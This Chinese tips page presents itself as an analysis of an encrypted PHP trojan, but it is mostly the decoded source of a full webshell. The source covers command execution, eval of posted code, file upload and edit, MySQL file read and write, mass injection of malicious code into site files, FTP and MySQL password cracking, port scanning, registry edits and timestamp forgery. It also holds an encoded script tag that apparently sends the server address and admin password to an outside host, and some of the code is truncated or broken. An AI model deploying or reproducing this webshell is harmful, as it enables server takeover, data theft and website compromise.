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php木马的分析(加密破解)_php技巧

时间：2021-07-01 10:21:17 帮助过：3人阅读

分析可以知道，此木马经过了base64进行了编码，然后进行压缩。虽然做了相关的保密措施，可是php代码要执行，其最终要生成php源代码，所以写出如下php程序对其进行解码，解压缩，写入文件。
解码解压缩代码如下：
代码如下:
function writetofile($filename, $data)
{ //File Writing
$filenum=@fopen($filename,"w");
if (!$filenum) {
return false;
}
flock($filenum,LOCK_EX);
$file_data=fwrite($filenum,$data);
fclose($filenum);
return true;
}
?>

然后在php的环境下进行运行，会得到php明文文件如下：
代码如下:
error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
@set_time_limit(0);
//非安全模式可以使用上面的函数，超时取消。
/*===================== 程序配置 =====================*/
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
$admin['check'] = "1";
// 如果需要密码验证,请修改登陆密码
//默认端口表
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//跳转用的秒
$admin['jumpsecond'] = "1";
//Ftp破解用的连接端口
$alexa = "yes";
//是否显示alexa排名，yes或是no
$admin['ftpport'] = "21";
// 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no)
$retime = "no";
// 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定)
$cmd = "cmd.exe";
// 下面是phpspy显示版权那栏的，因为被很多程序当成作为关键词杀了，鱼寒~~允许自定义吧。还是不懂别改~~

/*===================== 配置结束 =====================*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass'];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9');
$copyurll = base64_decode('Jz48L3NjcmlwdD4=');
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");
/*===================== 身份验证 =====================*/
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo "";echo "注销成功......

三秒后自动退出或单击这里退出程序界面 >>>";exit;}
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
//mix.dll的代码
$mixdll = "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";

function shelL($command){
global $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
// 查看PHPINFO
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "报告长官，主机变态，无法获取当前进行用户名！";
echo"当前进程用户名：$user";
exit;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]}
if($action=="mysqldown"){
$link=@mysql_connect($host,$user,$password);
if (!$link) {
$downtmp = '数据库连接失败: ' . mysql_error();
}else{
$query="select load_file('".$filename."');";
$result = @mysql_query($query, $link);
if(!$result){
$downtmp = "读取失败，可能是文件不存在或是没file权限。
".mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = basename($filename);
if($rardown=="yes"){
$zip = NEW Zip;
$zipfiles[]=Array("$filename",$row[0]);
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$filename = "".$filename.".rar";
}else{
$code = $row[0];
}
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=$filename");
echo($code);
exit;
}
}
}
}
// 在线代理
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "

获取 URL 内容失败

";exit;
}
// 下载文件
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
}
// 直接下载备份数据库
if ($_POST['backuptype'] == 'download') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$table = array_flip($_POST['table']);
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "出错: ".mysql_error();

$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata.= sqldumptable($currow[0]);
$mysqldata.= $mysqldata."\r\n";
}
}
mysql_close();
exit;
}

// 程序目录
$pathname=str_replace('\\','/',dirname(__FILE__));
$dirpath=str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]);

// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET['dir'];
$nowpath = getPath($pathname, $dir);
}

// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : "";

$tb = new FORMS;

?>

<?php echo"$myneme"?>

//$_SERVER["DOCUMENT_ROOT"]
$tb->tableheader();
$tb->tdbody('

'.$_SERVER['HTTP_HOST'].'

'.date("Y年m月d日 h:i:s",time()).'

'.gethostbyname($_SERVER['SERVER_NAME']).'

$tb->headerform(array('method'=>'GET','content'=>'

程序路径: '.$pathname.'
当前目录('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
跳转目录: '.$tb->makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','确定','','submit').' 〖支持绝对路径和相对路径〗'));

$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','确定','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));

$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','确定','','submit')));

$tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','确定','','submit')));
?>

/*===================== 执行操作开始 =====================*/
echo "

\n";
// 删除文件
if (!empty($delfile)) {
if (file_exists($delfile)) {
echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!";
} else {
echo basename($delfile)." 文件已不存在!";
}
}

// 删除目录
elseif (!empty($deldir)) {
$deldirs="$dir/$deldir";
if (!file_exists("$deldirs")) {
echo "$deldir 目录已不存在!";
} else {
echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!";
}
}

// 创建目录
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if (file_exists("$mkdirs")) {
echo "该目录已存在!";
} else {
echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!";
@chmod("$mkdirs",0777);
}
}
}

// 上传文件
elseif ($doupfile) {
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "上传成功!" : "上传失败!";
}
elseif($action=="mysqlup"){
$filename = $_FILES['upfile']['tmp_name'];
if(!$filename) {
echo"没有选择要上传的文件。。";
}else{
$shell = file_get_contents($filename);
$mysql = bin2hex($shell);
if(!$upname) $upname = $_FILES['upfile']['name'];
$shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
$link=@mysql_connect($host,$user,$password);
if(!$link){
echo "登陆失败".mysql_error();
}else{
$result = mysql_query($shell, $link);
if($result){
echo"操作成功.文件成功上传到".$host.",文件名为".$uppath."/".$upname."..";
}else{
echo"上传失败原因:".mysql_error();
}
}
}

}
elseif($action=="mysqldown"){
if(!empty($downtmp)) echo $downtmp;
}
// 编辑文件
elseif ($_POST['do'] == 'doeditfile') {
if (!empty($_POST['editfilename'])) {
if(!file_exists($editfilename)) unset($retime);
if($time==$now) $time = @filemtime($editfilename);
$time2 = @date("Y-m-d H:i:s",$time);
$filename="$editfilename";
@$fp=fopen("$filename","w");
if($_POST['change']=="yes"){
$filecontent = "?".">".$_POST['filecontent']." $filecontent = gzdeflate($filecontent);
$filecontent = base64_encode($filecontent);
$filecontent = "";
}else{
$filecontent = $_POST['filecontent'];
}
echo $msg=@fwrite($fp,$filecontent) ? "写入文件成功!" : "写入失败!";
@fclose($fp);
if($retime=="yes"){
echo" 鱼鱼自动操作:";
echo $msg=@touch($filename,$time) ? "修改文件为".$time2."成功!" : "修改文件时间失败!";
}
} else {
echo "请输入想要编辑的文件名!";
}
}
//文件下载
elseif ($_POST['do'] == 'downloads') {
$contents = @file_get_contents($_POST['durl']);
if(!$contents){
echo"无法读取要下载的数据";
}
elseif(file_exists($path)){
echo"很抱歉，文件".$path."已经存在了，请更换保存文件名。";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "下载文件成功!" : "下载文件写入时失败!";
@fclose($fp);
}
}
elseif($_POST['action']=="mix"){
if(!file_exists($_POST['mixto'])){
$tmp = base64_decode($mixdll);
$tmp = gzinflate($tmp);
$fp = fopen($_POST['mixto'],"w");
echo $msg=@fwrite($fp,$tmp) ? "解压缩成功!" : "此目录不可写吧？!";
fclose($fp);
}else{
echo"不是吧？".$_POST['mixto']."已经存在了耶~";
}
}
// 编辑文件属性
elseif ($_POST['do'] == 'editfileperm') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10);
echo (@chmod($dir."/".$file,$fileperm)) ? "属性修改成功!" : "修改失败!";
echo " 文件 ".$file." 修改后的属性为: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
} else {
echo "请输入想要设置的属性!";
}
}

// 文件改名
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($newname)) {
echo "".$_POST['newname']." 已经存在,请重新输入一个!";
} else {
echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." 成功改名为 ".$_POST['newname']." !" : "文件名修改失败!";
}
} else {
echo "请输入想要改的文件名!";
}
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"查找关键词:[".$oldkey."],下面显示查找的结果:";
if($type2 == "getpath"){
echo"鼠标移到结果文件上会有部分截取显示.";
}
echo"

";
find($path);
}else{
echo"你要查虾米?到底要查虾米呢?有没有虾米要你查呢?";
}
}
elseif ($_GET['action']=='plgmok') {
dirtree($_POST['dir'],$_POST['mm']);
}
elseif ($_GET['action'] == "plgm") {
$action = '?action=plgmok';
$gm = "";
$tb->tableheader();
$tb->formheader($action,'批量挂马');
$tb->tdbody('网站批量挂马程序php版','center');
$tb->tdbody('文件位置: '.$tb->makeinput('dir',''.$_SERVER["DOCUMENT_ROOT"].'','','text','60').'
要挂代码:'.$tb->maketextarea('mm',$gm,'50','5').''.$tb->makehidden('do','批量挂马').'
'.$tb->makeinput('submit','开始挂马','','submit'),'center','1','35');
echo "";
$tb->tablefooter();
}//end plgm
// 克隆时间
elseif ($_POST['do'] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "要修改的文件不存在!";
} else {
if (!@file_exists($_POST['tarfile'])) {
echo "要参照的文件不存在!";
} else {
$time=@filemtime($_POST['tarfile']);
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!";
}
}
}

// 自定义时间
elseif ($_POST['do'] == 'modmytime') {
if (!@file_exists($_POST['curfile'])) {
echo "要修改的文件不存在!";
} else {
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];
$hour=$_POST['hour'];
$minute=$_POST['minute'];
$second=$_POST['second'];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
$time=strtotime("$data $month $year $hour:$minute:$second");
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!";
}
}
}
elseif($do =='port'){
$tmp = explode(",",$port);
$count = count($tmp);
for($i=$first;$i<$count;$i++){
$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]."
";
}
}
/*
这里代码写得很杂，说实话我自己都不知道写了什么。
好在能用，我就没管了，假设有人看到干脆重写吧。*/
elseif ($do == 'crack') {//反正注册为全局变量了。
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp);
if(empty($onetime)){
$onetime = $count;
$turn="1";
}else{
$nowturn = $turn+1;
$now = $turn*$onetime;
$tt = intval(($count/$onetime)+1);
}
if($turn>$tt or $onetime>$count){
echo"超过字典容量了耶~要是破解最后进程的，很抱歉失败。";
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now;$i++){
if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
if($sa)
{
$t = "获取".$user."的密码为".$tmp[$i]."";
}
}
if(!$t){
echo "字典总共".$count."个，现在从".$first."到".$now."，".$admin[jumpsecond]."秒后进行这".$onetime."个密码的试探. >>>
全历此次".$type."的破解需要".$tt."次，现在是第".$turn."次解密。";
}
else {
echo"$t";
}
}
}else{
echo"字典文件不存在，请确定。";
}
}
elseif($do =='port'){
if(!eregi("-",$port)){
$tmp = explode(",",$port);
$count = count($tmp);
$first = "1";
}else{
$tmp = explode("-",$port);
$first = $tmp[0];
$count = $tmp[1];

}
for($i=$first;$i<$count;$i++){
if(!eregi("-",$port)){
$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]."
";
}else{
$fp = @fsockopen($host, $i, $errno, $errstr, 1);
if($fp) echo"发现".$host."主机打开了端口".$i."
";
}
}

}
// 连接MYSQL
elseif ($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
echo "数据库连接成功!";
mysql_close();
} else {
echo mysql_error();
}
}

// 执行SQL语句
elseif ($_POST['do'] == 'query') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$result = @mysql_query($_POST['sql_query']);
echo ($result) ? "SQL语句成功执行!" : "出错: ".mysql_error();
mysql_close();
}

// 备份操作
elseif ($_POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
echo "请选择欲备份的数据表和备份方式!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
@mysql_select_db($dbname) or die("选择数据库失败");
$table = array_flip($_POST['table']);
$filehandle = @fopen($path,"w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "出错: ".mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle);
fwrite($filehandle,"\n\n\n");
}
}
fclose($filehandle);
echo "数据库已成功备份到 ".$path."";
mysql_close();
} else {
echo "备份失败,请确认目标文件夹是否具有可写权限!";
}
}
}
}
elseif($downrar) {
if (!empty($dl)) {
if(eregi("unzipto:",$localfile)){
$path = "".$dir."/".str_replace("unzipto:","",$localfile)."";
$zip = new Zip;
$zipfile=$dir."/".$dl[0];
$array=$zip->get_list($zipfile);
$count=count($array);
$f=0;
$d=0;
for($i=0;$i<$count;$i++) {
if($array[$i][folder]==0) {
if($zip->Extract($zipfile,$path,$i)>0) $f++;
}
else $d++;
}
if($i==$f+$d) echo "$dl[0] 解压到".$path."成功
($f 个文件 $d 个目录)";
elseif($f==0) echo "$dl[0] 解压到".$path."失败";
else echo "$dl[0] 未解压完整
(已解压 $f 个文件 $d 个目录)";
}else{
$zipfile="";
$zip = new Zip;
for($k=0;isset($dl[$k]);$k++)
{
$zipfile=$dir."/".$dl[$k];
if(is_dir($zipfile))
{
unset($zipfilearray);
addziparray($dl[$k]);
for($i=0;$zipfilearray[$i];$i++)
{
$filename=$zipfilearray[$i];
$filesize=@filesize($dir."/".$zipfilearray[$i]);
$fp=@fopen($dir."/".$filename,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
else
{
$filename=$dl[$k];
$filesize=@filesize($zipfile);
$fp=@fopen($zipfile,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$ck = "_QQ44997_".date("Y-m-d",time())."";
if(empty($localfile)){
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
echo $code;
exit;
}else{
$fp = @fopen("".$dir."/".$localfile."","w");
echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功！!" : "目录".$dir."无可写权限!";
@fclose($fp);
}
}
} else {
echo "请选择要打包下载的文件!";
}
}
// Shell.Application 运行程序
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') ? "程序已经成功执行!" : "程序运行失败!";
}
// 查看PHP配置参数状况
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname'])."";
}
// 读取注册表
elseif(($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
var_dump(@$shell->RegRead($_POST['readregname']));
}

// 写入注册表
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($a=='0') ? "写入注册表健值成功!" : "写入 ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." 失败!";
}
// 删除注册表
elseif(($regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
$a = @$shell->RegDelete($_POST['delregname']);
echo ($a=='0') ? "删除注册表健值成功!" : "删除 ".$_POST['delregname']." 失败!";
}
else {
echo "$notice";
echo "Program | pcAnywhere | 开始程序 | AllUsers | Serv-U | ";
for ($i=66;$i<=90;$i++){$drive= chr($i).':';
if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " $drive\\";}
}

}
echo "

\n";
/*===================== 执行操作结束 =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
$tb->tableheader();
?>

文件
创建日期
最后修改
大小
属性
操作

\n";
echo "\n";
}// end dir

elseif ($_GET['action'] == "editfile") {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
$tb->tableheader();
$tb->formheader($action,'新建/编辑文件');
$tb->tdbody('当前文件: '.$tb->makeinput('editfilename',$filename).' 输入新文件名则建立新文件 Php代码加密: ');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile');
$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "rename") {
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
$tb->tableheader();
$tb->formheader($action,'修改文件名');
$tb->makehidden('oldname',$dir."/".$nowfile);
$tb->makehidden('dir',$dir);
$tb->tdbody('当前文件名: '.basename($nowfile));
$tb->tdbody('改名为: '.$tb->makeinput('newname'));
$tb->makehidden('do','rename');
$tb->formfooter('1','30');
}//end rename

elseif ($_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir)."";
$tb->tableheader();
$tb->formheader(''.$action.' "target="_blank' ,'执行php脚本');
$tb->tdbody($tb->maketextarea('phpcode',$contents));
$tb->formfooter('1','30');

}
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file;
$tb->tableheader();
$tb->formheader($action,'修改文件属性');
$tb->tdbody('修改 '.$file.' 的属性为: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden('dir',urlencode($dir));
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30');
}//end fileperm

elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir);
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
$tb->tableheader();
$tb->formheader($action,'克隆文件最后修改时间');
$tb->tdbody("修改文件: ".$tb->makeinput('curfile',$file,'readonly')." → 目标文件: ".$tb->makeinput('tarfile','需填完整路径及文件名'),'center','2','30');
$tb->makehidden('do','domodtime');
$tb->formfooter('','30');
$tb->formheader($action,'自定义文件最后修改时间');
$tb->tdbody('

有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日星期五 20:45:54 到 2038年 1 月 19 日星期二 03:14:07
(该日期根据 32 位有符号整数的最小值和最大值而来)
说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!

','left');
$tb->tdbody('当前文件名: '.$file);
$tb->makehidden('curfile',$file);
$tb->tdbody('修改为: '.$tb->makeinput('year','1984','','text','4').' 年 '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' 月 '.$tb->makeinput('data','18','','text','2').' 日 '.

php木马的分析(加密破解)_php技巧

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